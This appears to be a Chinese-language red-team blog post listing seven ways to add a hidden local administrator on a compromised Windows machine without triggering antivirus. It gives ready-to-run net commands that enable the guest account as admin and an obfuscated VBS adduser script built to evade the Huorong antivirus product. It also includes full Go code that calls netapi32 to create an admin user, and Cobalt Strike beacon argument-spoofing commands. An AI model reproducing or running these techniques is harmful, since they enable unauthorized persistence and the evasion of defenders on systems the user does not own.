方法1、激活GUEST用户

这个不用多说,大家都会,还是比较好用的,试过很多次杀软都不拦截
net user guest /active:yes
net user guest Aa123456.
net localgroup administrators guest /add
net localgroup “Remote Desktop Users” guest /add

方法2、net1绕过

net1.exe在C:/windows/system32下
image.png
进入到目录下面,此时生成一个asd.txt
image.png
此时的asd.txt就和net 一样了,可以执行net user
image.png
不会触发火绒告警(有的主机会有的主机不会不知道为啥)
image.png

方法3、VBS API脚本

wscript.exe add.vbs 无法绕过火绒(会被当做adduser病毒干掉)

  1. set wsnetwork=CreateObject("WSCRIPT.NETWORK")
  2. os="WinNT://"&wsnetwork.ComputerName
  3. Set ob=GetObject(os)
  4. Set oe=GetObject(os&"/Administrators,group")
  5. Set od=ob.Create("user","iiice")
  6. od.SetPassword "123456"
  7. od.SetInfo
  8. Set of=GetObject(os&"/iiice",user)
  9. oe.add os&"/admin"

但是我们只要简单的尝试混淆即可绕过

  1. Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK")
  2. os="WinNT://"&wsnetwork.ComputerName
  3. Set ob=GetObject(os)
  4. Set oe=GetObject(os&"/Administrators,group")
  5. Set od=ob.Create("user","iiice")
  6. Const strPassword = "123456"
  7. od.SetPassword strPassword
  8. od.SetInfo
  9. Set of=GetObject(os&"/iiice",user)
  10. oe.add os&"/iiice"

方法4、使用windows底层API

原理是使用windows本地的netapi32.dll来绕过杀软的监测

  1. package main
  2. import (
  3. "fmt"
  4. "os"
  5. "syscall"
  6. "unsafe"
  7. )
  8. //参考如下
  9. //https://docs.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd/
  10. //https://github.com/CodyGuo/xcgui/blob/master/doc/cToGo.go
  11. //https://github.com/iamacarpet/go-win64api/blob/master/users.go
  12. //https://git.itch.ovh/itchio/ox/-/blob/ec75be15423d72ab9691a3318ecce3feee67b19b/syscallex/netapi32_windows.go
  13. //https://pkg.go.dev/github.com/itchio/ox/syscallex#NetUserAdd
  14. type USER_INFO_1 struct {
  15. Usri1_name *uint16
  16. Usri1_password *uint16
  17. Usri1_password_age uint32 //可忽略
  18. Usri1_priv uint32
  19. Usri1_home_dir *uint16
  20. Usri1_comment *uint16
  21. Usri1_flags uint32
  22. Usri1_script_path *uint16
  23. }
  24. type LOCALGROUP_MEMBERS_INFO_3 struct {
  25. Lgrmi3_domainandname *uint16
  26. }
  27. const (
  28. USER_PRIV_GUEST = 0
  29. USER_PRIV_USER = 1
  30. USER_PRIV_ADMIN = 2
  31. USER_UF_SCRIPT = 1
  32. USER_UF_NORMAL_ACCOUNT = 512
  33. USER_UF_DONT_EXPIRE_PASSWD = 65536
  34. //parmErr = 0
  35. NET_API_STATUS_NERR_Success = 0
  36. )
  37. type User struct {
  38. username string
  39. password string
  40. }
  41. func main() {
  42. // 请更改此处用户名密码
  43. info := User{
  44. username: "test",
  45. password: "123456",
  46. }
  47. r, err := NetUserAdd(info.username, info.password)
  48. if err != nil {
  49. fmt.Println(err)
  50. }
  51. fmt.Println(r)
  52. //if r == true {
  53. // _, err := AddLocalGroup("test", "Administrators")
  54. // if err != nil {
  55. // fmt.Println(err)
  56. // }
  57. //}
  58. }
  59. func NetUserAdd(user string, pass string) (bool, error) {
  60. var parmErr uint32
  61. parmErr = uint32(0)
  62. username := UtfToStr(user)
  63. password := UtfToStr(pass)
  64. userinfo := USER_INFO_1{
  65. Usri1_name: username,
  66. Usri1_password: password,
  67. Usri1_priv: USER_PRIV_USER,
  68. Usri1_flags: USER_UF_SCRIPT | USER_UF_NORMAL_ACCOUNT | USER_UF_DONT_EXPIRE_PASSWD,
  69. //Usri1_home_dir: UtfToStr(""),
  70. //Usri1_comment: UtfToStr("test测试用户"),
  71. //Usri1_script_path: UtfToStr(""),
  72. }
  73. netapi, err := syscall.LoadLibrary("netapi32.dll")
  74. if err != nil {
  75. panic("dll引用失败")
  76. }
  77. AddUser, err := syscall.GetProcAddress(netapi, "NetUserAdd")
  78. result, _, _ := syscall.Syscall6(AddUser,
  79. 4,
  80. uintptr(0), //server
  81. uintptr(uint32(1)), //lever
  82. uintptr(unsafe.Pointer(&userinfo)),
  83. uintptr(unsafe.Pointer(&parmErr)), 0, 0,
  84. )
  85. //令必须使用管理员权限才能添加用户
  86. if result != NET_API_STATUS_NERR_Success {
  87. return false, fmt.Errorf("添加失败")
  88. } else {
  89. _, err = AddLocalGroup(user, "Administrators", netapi)
  90. if err != nil {
  91. fmt.Println(err)
  92. }
  93. return true, fmt.Errorf("添加成功%s:%s", user, pass)
  94. }
  95. }
  96. func AddLocalGroup(user, group string, netapi syscall.Handle) (bool, error) {
  97. work, _ := os.Hostname()
  98. WorkStation := UtfToStr(work + `\` + user)
  99. GroupName := UtfToStr(group)
  100. var uArray = make([]LOCALGROUP_MEMBERS_INFO_3, 1)
  101. uArray[0] = LOCALGROUP_MEMBERS_INFO_3{
  102. Lgrmi3_domainandname: WorkStation,
  103. }
  104. ALG, _ := syscall.GetProcAddress(netapi, "NetLocalGroupAddMembers")
  105. result, _, _ := syscall.Syscall6(ALG, 5,
  106. uintptr(0), // servername
  107. uintptr(unsafe.Pointer(GroupName)), // group name
  108. uintptr(uint32(3)), // level
  109. uintptr(unsafe.Pointer(&uArray[0])), // user array.
  110. uintptr(uint32(len(uArray))), 0)
  111. if result != NET_API_STATUS_NERR_Success {
  112. return false, fmt.Errorf("添加管理组失败")
  113. } else {
  114. return true, fmt.Errorf("添加管理组Administrators成功")
  115. }
  116. }
  117. func UtfToStr(str string) *uint16 {
  118. res, err := syscall.UTF16PtrFromString(str)
  119. if err != nil {
  120. panic(err)
  121. }
  122. return res
  123. }

或者有github开源的项目可以尝试
https://github.com/newsoft/adduser

方法5、利用CS argue参数欺骗

  1. beacon> argue net1 /bypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypass
  2. beacon> run net1 user betasec 3had0w!@#123 /add
  3. beacon> run net1 localgroup administrators betasec /add
  4. argue 进程参数欺骗
  5. argue [command] [fake arguments]
  6. argue 命令 假参数 欺骗某个命令参数
  7. argue [command]
  8. argue 命令 取消欺骗某个命令参数

方法6、使用Shellcode底层代码点击EXE触发添加用户的操作(比API更底层)

目前还没有这方面的基础
https://wizardforcel.gitbooks.io/q-buffer-overflow-tutorial/content/35.html

方法7、一个项目

https://github.com/scareing/cmd2shellcode